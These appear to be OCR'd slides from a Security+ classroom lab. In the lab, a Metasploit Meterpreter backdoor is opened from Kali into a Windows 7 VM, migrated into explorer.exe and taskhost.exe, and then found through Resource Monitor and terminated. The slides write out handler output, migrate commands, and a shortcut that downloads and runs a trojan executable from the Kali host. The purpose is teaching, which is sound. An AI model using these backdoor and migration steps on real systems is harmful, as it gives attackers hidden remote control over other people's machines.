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Backdoor Removal Materials

 Materials needed
o Kali Linux Virtual Machine
 Windows 7 Virtual Machine

« Software tool used (from Kali Linux)
* Metasploit Framework

* Note: This lab will attempt to remove a backdoor session that is
already open
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Objectives Covered

« Security+ Objectives (SY0-701)
« Objective 2.4 — Given a scenario, analyze indicators to malicious
activity.
* Malware attacks
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What is a Backdoor Attack?

* A backdoor is when a malicious user gains privileged access to
the system by circumventing normal authentication processes.

* In this lab, you locate and remove a backdoor session.

C:\Windows\eHome>cd /users/student/Desktop
cd /users/student/Desktop

C:\Users\student\Desktop>mkdir malicious folder
mkdir malicious folder

C:\Users\student\Desktop>

Here a Linux machine is controlling a
Windows machine via a backdoor
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Backdoor Removal Lab Overview

1. Open Backdoor Session

2. Quickly Shut Down Session
3. Verify the Closed Session

4. Re-Open Backdoor Session
5. Migrate the Session

6. Locate the Backdoor

/. Migrate the Session (Again)
8. Locate the Backdoor (Again)
9. Shut Down the Session
10.Verify the Closed Session
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Open Backdoor Session

» Make sure to have a backdoor session open*
 Kali Linux machine is controlling the backdoor
* Windows 7 machine is being controlled

resource (metasploit.rc)> run
Started HTTP reverse handler on http://10.1.65.107:1717
http://10.1.65.107:1717 handling request from 10.1.74.109; (UUID: d6vskp
Staging x64 payload (207449 bytes) ...
Meterpreter session 1 opened (10.1.65.107:1717 -> 10.1.74.109:52642) at

-07-28 17:09:50 +0000

meterpreter > J

Open backdoor session

*Instructions for the Backdoor Shortcut Lab
are also at the end of this lab
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Quickly Shut Down Session

* In Windows, the user knows it just opened the trojan and
suspects it might be dangerous.

* In Windows, open the task manager.
* Press the Windows Start button
« Search for “Task Manager”
« Open the “View running processes with Task Manager”

Windows 7 Task Manager
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Quickly Shut Down Session

M= |
File Options Wiew Help
.Applications Processes |Services| Performance I Tebworking I sers I
Image ... = | User Mame | CPUl Memory (.. | Description |
sssss JEERE oo 1,284 K
* In the Task Manager, select the Processes tab amoe s @ ook
) explorer.exe student [ulu} 20,284 kK Windows ..,
rdpclip.exe student ala] 1,236 K RDP Clip ...

taskhost, exe student [ulu} 1,464 K Hosk Proc...

» Search for the program name of the trojan g e

1,704 K windows |,
Open File Location

e Frojanf1]

End Process

* Right click on the trojan process e

Debug
LiaZ Wirtualization
Create Dump File

« Select End Process ooy >

Properties
Go ko Servicels)
1

» Select End process if a warning comes up as B, i
We I [Frocesses: 44 CPL Lsage: 0% [Pheysical Memary: 252 4

Select “End Process”
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Verify the Closed Session

 Go back to the Kali Machine

* Try to run a command in the meterpreter session

* Try getuid

* Try sysinfo
You should notice that
the commands do not

work, the backdoor has
been terminated

meterpreter > getuid
Error running command getuid: Rex::TimeoutError Operation timed out.

meterpreter = sysinfo
Error running command sysinfo: Rex::TimeoutError Operation timed out.

meterpreter > |

Please Note: This only works if the backdoor has
not migrated onto another process. Typically, once
the backdoor is opened, the malicious user will
attempt to migrate the session away from the
Trojan. The next activity searches for a migrated
session and terminates it CYB=R.ORG




Re-Open Backdoor Session

* Re-open the backdoor session.
* |In Kali, exit out of the current meterpreter session

exit
 Re-start the handler

run

 In Windows, re-open the trojan file

* This should re-open the backdoor session _
Backdoor session

msf exploit ( ) > run re-opened

Started HTTP reverse handler on http://10.1.65.107:1717

http://10.1.65.107:1717 handling request from 10 _1=7%.109
taging x64 payload (207449 bytes) ...

Meterpreter session 2 opened (10.1.65.107:1717 -=> 10.1.74 Please Note: This next
activity works best with a
meterpreter > [

reverse_http backdoor

session

07-28 17:28:54 +0000
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nieterpreter > ps

Migrate the Backdoor Listing allthe
rocess List Processes
. . PID PPID Name
* In Kali, list all the processes o o leyetem Process]
PS 3 gﬁ}d EJ#:?.E?ﬂSE.EKE
» Find the process named explorer.exe 684 suchost exe explorer.exe PID
« Find the PID number of explorer.exe PR
« It will be the first number svchost,exe
_ 5 Ec2tonfig.exe
» Migrate to explorer.exe explorer.exe
; Sppsvc.exe
migrate <PID NUMBER> trojan[2].exe

. = H‘Iil_i] rate 1768 _ Migrating to the
Migrating from 2132 to 1768... explorer.exe process

Migration completed successfully.
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Locate the Backdoor

Finding the backdoor session in Windows is very difficult. Since
the backdoor has to be talking back with Kali, you can monitor
network activity to try and find the backdoor

* [n Windows, open task manager
 Notice the trojan file is no longer in the processes list

* Open the Resource Monitor
» Select the Performance tab
« Select the Resource Monitor... button
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Locate the Backdoor

* Monitor TCP activity

* In the resource monitor app, click on the Network tab
« Select the TCP Connections drop down menu

* Find the explorer.exe in the image column

« What remote address is explorer.exe talking to?

« What remote port is explorer.exe talking to?

TCP Connections

Irnage I PIC | Local Addr.., I Local Part I Rermote Address I Rermaote Part I F
swchost.exe [MetworkService) 1140 10,1.74.109 3389 10.,1.2.211 49213

explorer exe 172 10,174,109 L2r2a 10,1.65.107 1717
Ecz2Config.exe 15e2 10,174,109 L2raz 1£9,264,189.254 a0
Ec2Config.exe 1EeE 10.1.74.109 ) 169.254.169.254 a0

This should be your Kali IP Address and the port
you assigned for the backdoor CYB=R.ORG




Migrate the Session (Again)

Actually see the backdoor migrate this time

* |n Kali, migrate to the taskhost.exe
taskhost - pgrep searches for a PID
pgrep taskhost.exe number of application
migrate <TASKHOST.EXE_PID_NUMBER> named

* The backdoor session is now running on taskhost.exe

meterpreter = pgrep taskhost.exe
2196
meterpreter > migrate 2196

Migrating from 1768 to 2196...
Migration completed successfully.
meterpreter > |

Migrating backdoor to taskhost.exe

-—
CYB=R.ORG
-— L]

THE ACADEMIC INITIATIVE OF THE CYBER INNOVATION CENTER



Locate the Backdoor (Again)

 Go to Windows

* In the Resource Monitor, you should see taskhost.exe
 What IP Address is taskhost.exe talking to?

TCP Connections

Irnage I PID I Local addr... I Local Part I Rernote Address I Rernote Port I Pa
swchast.exe [Mebwark Service) 1140 10.1.74,109 3389 12211 49212

taskhiost.exe 21496 10,174,109 L2738 10,165,107 1717
Ec2Zonfig.exe 1EES 10.1.74,109 L2743 169,254, 1619,254 tﬂ

Ec2iZaonfg.exe 15ES 10,174,109 2742 169,254, 189,254 0

/

This should be your Kali IP Address and the port
you assigned for the backdoor
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Shut Down Session

To terminate this backdoor session, you will need to terminate the
taskhost.exe application

* [n the Resource Monitor, you should still be under the Network
tab

* Locate taskhost.exe in Processes with Network Activity
 Right-click on taskhost.exe
» Select End Process, this should terminate the backdoor session

@Resource Monitor

PID
End the taSkhOSt_eXe D sssssss exe [Metwaork Sery ice] 1140 I
EEEEEEEEEE _
process L ecortaee e prcess oo

ssssssssssssss
eeeeeeeeeeeee
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Verify the Closed Session

 Go back to the Kali Machine

 Try to run a command in the meterpreter session

. Try getuid You should notice that

 Try sysinfo the commands do not
. Try ps work, the baclfdoor has
been terminated

-

meterpreter > getuid
Error running~Ctommand getuid: Rex::TimeoutError Operation timed out.
meterpreter >%Sysinfo

Error“running command sysinfo: Rex::TimeoutError Operation timed out.
meterpreter > ps

Error running command ps: Rex::TimeoutError Operation timed out.
meterpreter > [
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END OF LAB
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Backdoor Shortcut Instructions

e In Kali

* Open Terminal
* cd CourseFiles/Cybersecurity/backdoor-shortcut

* sudo ./backdoor http script.rc

* [n Windows 7, open Internet Explorer
* Gotohttp://Kali IP address/httptrojan.exe
* Run the application

This should open an HTTP backdoor on the
Windows system
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